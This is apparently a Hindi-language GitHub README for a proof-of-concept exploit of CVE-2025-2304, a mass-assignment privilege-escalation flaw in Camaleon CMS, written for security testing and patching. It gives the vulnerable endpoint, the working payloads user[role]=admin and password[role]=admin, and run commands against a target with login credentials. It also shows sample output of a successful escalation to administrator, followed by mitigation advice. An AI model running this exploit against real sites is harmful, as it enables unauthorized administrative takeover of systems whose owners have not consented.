
CVE-2025-2304 के लिए अवधारणा का प्रमाण — Camaleon CMS में गंभीर (CVSS 9.4) मास-असाइनमेंट विशेषाधिकार वृद्धि।
CVE-2025-2304 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शोषण, जो Camaleon CMS में एक गंभीर मास असाइनमेंट भेद्यता है, जो निम्न-विशेषाधिकार प्राप्त उपयोगकर्ताओं से प्रशासकों तक विशेषाधिकार वृद्धि की अनुमति देती है।
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 Camaleon CMS में एक गंभीर मास असाइनमेंट भेद्यता है जो UsersController की updated_ajax विधि में मौजूद है। यह भेद्यता Rails में खतरनाक permit! विधि के उपयोग से उत्पन्न होती है, जो बिना किसी फ़िल्टरिंग के सभी पैरामीटर को पारित करने की अनुमति देती है।
यह PoC प्रदर्शित करता है कि कैसे कम विशेषाधिकारों वाला एक प्रमाणित उपयोगकर्ता पासवर्ड बदलने के संचालन के दौरान अनधिकृत पैरामीटर इंजेक्ट करके प्रशासक भूमिका में वृद्धि कर सकता है।
CVSS स्कोर: 9.4 (गंभीर)
भेद्य कोड params.require(:user).permit! का उपयोग करता है जो सत्यापन के बिना सभी उपयोगकर्ता-आपूर्ति पैरामीटर को स्वीकार करता है:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
एक हमलावर वैध पासवर्ड बदलने वाले फ़ील्ड के साथ user[role]=admin जैसे अतिरिक्त पैरामीटर इंजेक्ट कर सकता है, जिससे एप्लिकेशन उपयोगकर्ता की भूमिका को प्रशासक में अपडेट कर देता है।
हमला वेक्टर:
/admin/users/{id}/updated_ajax पर निर्मित POST अनुरोध भेजेंuser[role]=admin पैरामीटर इंजेक्ट करें--no-password-field फ़्लैगgit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
या मैन्युअल रूप से स्थापित करें:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target लक्ष्य URL (जैसे, http://target.com)
required arguments:
-u, --username प्रमाणीकरण के लिए मौजूदा उपयोगकर्ता नाम
-p, --password उपयोगकर्ता पासवर्ड
optional arguments:
-h, --help सहायता संदेश दिखाएँ और बाहर निकलें
-v, --verbose विस्तृत आउटपुट (सभी अनुरोध दिखाएँ)
--proxy PROXY ट्रैफ़िक निरीक्षण के लिए HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080)
--no-password-field पासवर्ड फ़ील्ड के बिना शोषण का परीक्षण (सबसे सुरक्षित)
--skip-admin-test विनाशकारी एडमिन पासवर्ड रीसेट परीक्षण छोड़ें
मौजूदा उपयोगकर्ता क्रेडेंशियल के साथ पासवर्ड संरक्षित रखते हुए परीक्षण करें:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
पेलोड में पासवर्ड फ़ील्ड शामिल किए बिना परीक्षण:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
मैन्युअल निरीक्षण के लिए Burp Suite के माध्यम से ट्रैफ़िक रूट करें:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
सभी अनुरोधों और प्रतिक्रियाओं को दिखाने वाला विस्तृत आउटपुट सक्षम करें:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
केवल विशेषाधिकार वृद्धि का परीक्षण करें, एडमिन पासवर्ड रीसेट छोड़ें:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| संस्करण | स्थिति |
|---|---|
| < 2.9.1 | ❌ भेद्य |
| ≥ 2.9.1 | ✅ पैच किया गया |
विशेष रूप से भेद्य:
संस्करण 2.9.1 या बाद में अपग्रेड करें
gem update camaleon_cms
उपयोगकर्ता खातों का ऑडिट करें
/users/*/updated_ajax पर संदिग्ध POST अनुरोधों की तलाश करेंपासवर्ड रीसेट करने के लिए बाध्य करें (यदि समझौता हुआ हो)
सुरक्षित कोड पैटर्न:
खतरनाक permit! को स्पष्ट व्हाइटलिस्टिंग से बदलें:
# पहले (भेद्य)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# बाद में (सुरक्षित)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
अतिरिक्त सुरक्षा उपाय:
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
कानूनी नोटिस:
नैतिक उपयोग:
d3vn0mi
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
योगदान, मुद्दे और फीचर अनुरोधों का स्वागत है!
कृपया issues पेज देखें।
यदि इस प्रोजेक्ट ने आपकी मदद की, तो एक ⭐ दें!
नोट: यह रिपॉजिटरी सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। हमेशा जिम्मेदार प्रकटीकरण का अभ्यास करें और परीक्षण से पहले उचित प्राधिकरण प्राप्त करें।